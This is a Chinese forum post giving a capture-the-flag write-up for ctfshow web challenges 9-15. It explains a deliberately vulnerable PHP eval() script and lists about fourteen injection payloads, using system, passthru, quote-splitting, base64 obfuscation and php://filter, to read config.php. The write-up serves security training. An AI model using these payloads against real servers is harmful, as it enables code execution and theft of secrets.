【WEB】ctfshow-萌新-web9-15

打印 上一主题 下一主题

主题 1047|帖子 1047|积分 3145

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

x

题目介绍:

ctfshow-萌新计划-web9-15
  1. <?php
  2. # flag in config.php
  3. include("config.php");
  4. if(isset($_GET['c'])){
  5.         $c = $_GET['c'];
  6.         if(preg_match("/system|exec|highlight/i",$c)){
  7.                 eval($c);
  8.         }else{
  9.             die("cmd error");
  10.         }
  11. }else{
  12.         highlight_file(__FILE__);
  13. }
  14. ?>
复制代码
题目分析:


  • 包含设置文件

    • include("config.php");
    • 这行代码包含了一个名为config.php的文件,该文件大概包含一些设置信息,比如flag。

  • 检查GET参数c是否存在

    • if(isset($_GET['c'])){ ... }
    • 这段代码检查是否有通过GET方法提交的c参数。

  • 获取c参数的值

    • $c = $_GET['c'];
    • 将GET参数c的值赋给变量$c。

  • 正则表达式匹配

    • if(preg_match("/system|exec|highlight/i",$c)){ ... }
    • 使用preg_match函数检查变量$c是否包含system、exec或highlight这些字符串(不区分巨细写)。这个正则表达式检查的目的是实行防止某些特定的命令执行函数被调用。

  • 执行代码

    • eval($c);
    • 假如正则表达式匹配成功,eval函数将执行变量$c中包含的PHP代码。这是一个非常伤害的操作,由于它允许执行任意PHP代码,大概导致严重的安全问题。

  • 错误处理

    • die("cmd error");
    • 假如正则表达式没有匹配,脚本将终止执行并输出错误信息。

  • 高亮显示当前文件

    • highlight_file(__FILE__);
    • 假如没有提交c参数,脚本将使用highlight_file函数显示当前脚本文件的源代码。

payload:

  1. ?c=system('cat config.php');
  2. ?c=system('tac config.php');
  3. ?c=show_source('config.php');
  4. ?c=passthru('tac config.php');
  5. ?c=passthru('more config.php');
  6. ?c=passthru('more confi***hp');
  7. ?c=passthru('tac con\fig*')?>
  8. ?c=passthru('c""at con""fig?ph""p')?>
  9. ?c=passthru("ca''t `ls`")?>
  10. ?c=$a=base64_decode('c3lzdGVt');$b=base64_decode('Y2F0IGNvbmZpZy5waHA=');$a($b);
  11. ?c=$a=opendir('/var/www/html');$e=readdir($a);$e=readdir($a);$e=readdir($a);echo%20readfile($e);
  12. ?c= include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php
  13. ?c=include $_GET[a];&a=php://filter/read=convert.base64-encode/resource=config.php
  14. ?a=cat config.php&c=echo`$_REQUEST[a]`;
  15. ……
复制代码

我不会接受我不要的未来,哪怕是掷中注定。

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

王國慶

论坛元老
这个人很懒什么都没写!
快速回复 返回顶部 返回列表